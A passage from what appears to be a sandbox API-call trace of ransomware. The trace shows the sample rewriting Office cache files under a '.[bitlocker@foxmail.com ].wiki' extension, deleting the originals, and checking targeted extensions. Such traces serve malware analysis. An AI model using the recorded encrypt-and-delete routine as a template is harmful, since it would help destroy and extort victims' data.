"c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.415] GetLastError () returned 0x0 [0045.415] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0045.416] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0045.417] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.417] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0045.417] SetEndOfFile (hFile=0x184) returned 1 [0045.417] CloseHandle (hObject=0x184) returned 1 [0045.418] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.418] SetEndOfFile (hFile=0x170) returned 1 [0045.419] CloseHandle (hObject=0x170) returned 1 [0045.419] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.419] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0045.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.419] lstrlenW (lpString=".doc") returned 4 [0045.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.419] lstrlenW (lpString=".docx") returned 5 [0045.419] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.420] lstrlenW (lpString=".pdf") returned 4 [0045.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString=".xls") returned 4 [0045.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString=".xlsx") returned 5 [0045.420] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.420] lstrlenW (lpString=".ppt") returned 4 [0045.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.420] lstrlenW (lpString=".zip") returned 4 [0045.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.420] lstrlenW (lpString=".rar") returned 4 [0045.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString=".bz2") returned 4 [0045.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString=".7z") returned 3 [0045.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.420] lstrlenW (lpString=".dbf") returned 4 [0045.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.420] lstrlenW (lpString=".1cd") returned 4 [0045.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.420] lstrlenW (lpString=".jpg") returned 4 [0045.420] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.420] lstrlenW (lpString=".doc") returned 4 [0045.420] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.420] lstrlenW (lpString=".docx") returned 5 [0045.420] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.420] lstrlenW (lpString=".pdf") returned 4 [0045.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString=".xls") returned 4 [0045.421] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString=".xlsx") returned 5 [0045.421] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.421] lstrlenW (lpString=".ppt") returned 4 [0045.421] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.421] lstrlenW (lpString=".zip") returned 4 [0045.421] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.421] lstrlenW (lpString=".rar") returned 4 [0045.421] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString=".bz2") returned 4 [0045.421] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString=".7z") returned 3 [0045.421] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.421] lstrlenW (lpString=".dbf") returned 4 [0045.421] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.421] lstrlenW (lpString=".1cd") returned 4 [0045.421] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.421] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0045.421] lstrlenW (lpString=".jpg") returned 4 [0045.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.421] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.421] lstrlenW (lpString="OfficeMUI.xml") returned 13 [0045.421] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.422] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=5557) returned 1 [0045.422] CloseHandle (hObject=0x170) returned 1 [0045.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 0x2020 [0045.422] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.422] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.422] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.422] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.422] GetLastError () returned 0x0 [0045.422] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x15b5, lpOverlapped=0x0) returned 1 [0045.424] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0045.425] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.425] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xee, lpOverlapped=0x0) returned 1 [0045.425] SetEndOfFile (hFile=0x184) returned 1 [0045.425] CloseHandle (hObject=0x184) returned 1 [0045.425] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.426] SetEndOfFile (hFile=0x170) returned 1 [0045.426] CloseHandle (hObject=0x170) returned 1 [0045.426] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.427] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml")) returned 1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.427] lstrlenW (lpString=".doc") returned 4 [0045.427] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".docx") returned 5 [0045.427] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.427] lstrlenW (lpString=".pdf") returned 4 [0045.427] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".xls") returned 4 [0045.427] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".xlsx") returned 5 [0045.427] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.427] lstrlenW (lpString=".ppt") returned 4 [0045.427] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.427] lstrlenW (lpString=".zip") returned 4 [0045.427] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.427] lstrlenW (lpString=".rar") returned 4 [0045.427] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".bz2") returned 4 [0045.427] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.427] lstrlenW (lpString=".7z") returned 3 [0045.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.428] lstrlenW (lpString=".dbf") returned 4 [0045.428] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.428] lstrlenW (lpString=".1cd") returned 4 [0045.428] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.428] lstrlenW (lpString=".jpg") returned 4 [0045.428] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.428] lstrlenW (lpString=".doc") returned 4 [0045.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".docx") returned 5 [0045.428] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0045.428] lstrlenW (lpString=".pdf") returned 4 [0045.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".xls") returned 4 [0045.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".xlsx") returned 5 [0045.428] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0045.428] lstrlenW (lpString=".ppt") returned 4 [0045.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.428] lstrlenW (lpString=".zip") returned 4 [0045.428] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.428] lstrlenW (lpString=".rar") returned 4 [0045.428] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".bz2") returned 4 [0045.428] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.428] lstrlenW (lpString=".7z") returned 3 [0045.428] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.429] lstrlenW (lpString=".dbf") returned 4 [0045.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.429] lstrlenW (lpString=".1cd") returned 4 [0045.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0045.429] lstrlenW (lpString=".jpg") returned 4 [0045.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.429] lstrcmpiW (lpString1=".xml", lpString2=".wiki") returned 1 [0045.429] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0045.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.429] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=819) returned 1 [0045.429] CloseHandle (hObject=0x170) returned 1 [0045.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0045.429] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.429] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.429] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.430] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.430] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0045.430] GetLastError () returned 0x0 [0045.430] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x333, lpOverlapped=0x0) returned 1 [0045.431] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x340, lpOverlapped=0x0) returned 1 [0045.432] ReadFile (in: hFile=0x170, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.432] WriteFile (in: hFile=0x184, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0045.432] SetEndOfFile (hFile=0x184) returned 1 [0045.432] CloseHandle (hObject=0x184) returned 1 [0045.433] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.433] SetEndOfFile (hFile=0x170) returned 1 [0045.434] CloseHandle (hObject=0x170) returned 1 [0045.434] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0045.434] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0045.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.434] lstrlenW (lpString=".doc") returned 4 [0045.434] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.434] lstrlenW (lpString=".docx") returned 5 [0045.434] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.434] lstrlenW (lpString=".pdf") returned 4 [0045.434] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.434] lstrlenW (lpString=".xls") returned 4 [0045.434] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.434] lstrlenW (lpString=".xlsx") returned 5 [0045.434] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.434] lstrlenW (lpString=".ppt") returned 4 [0045.434] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.434] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.434] lstrlenW (lpString=".zip") returned 4 [0045.434] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.435] lstrlenW (lpString=".rar") returned 4 [0045.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString=".bz2") returned 4 [0045.435] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString=".7z") returned 3 [0045.435] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.435] lstrlenW (lpString=".dbf") returned 4 [0045.435] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.435] lstrlenW (lpString=".1cd") returned 4 [0045.435] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.435] lstrlenW (lpString=".jpg") returned 4 [0045.435] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.435] lstrlenW (lpString=".doc") returned 4 [0045.435] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString=".docx") returned 5 [0045.435] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0045.435] lstrlenW (lpString=".pdf") returned 4 [0045.435] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString=".xls") returned 4 [0045.435] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString=".xlsx") returned 5 [0045.435] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0045.435] lstrlenW (lpString=".ppt") returned 4 [0045.435] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.435] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.435] lstrlenW (lpString=".zip") returned 4 [0045.435] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.435] lstrlenW (lpString=".rar") returned 4 [0045.435] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.436] lstrlenW (lpString=".bz2") returned 4 [0045.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.436] lstrlenW (lpString=".7z") returned 3 [0045.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.436] lstrlenW (lpString=".dbf") returned 4 [0045.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.436] lstrlenW (lpString=".1cd") returned 4 [0045.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.436] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0045.436] lstrlenW (lpString=".jpg") returned 4 [0045.436] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.436] lstrcmpiW (lpString1=".chm", lpString2=".wiki") returned -1 [0045.436] lstrlenW (lpString="pss10r.chm") returned 10 [0045.436] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.437] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=27195) returned 1 [0045.437] CloseHandle (hObject=0x170) returned 1 [0045.437] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0045.437] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0045.437] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0045.437] SetFilePointerEx (in: 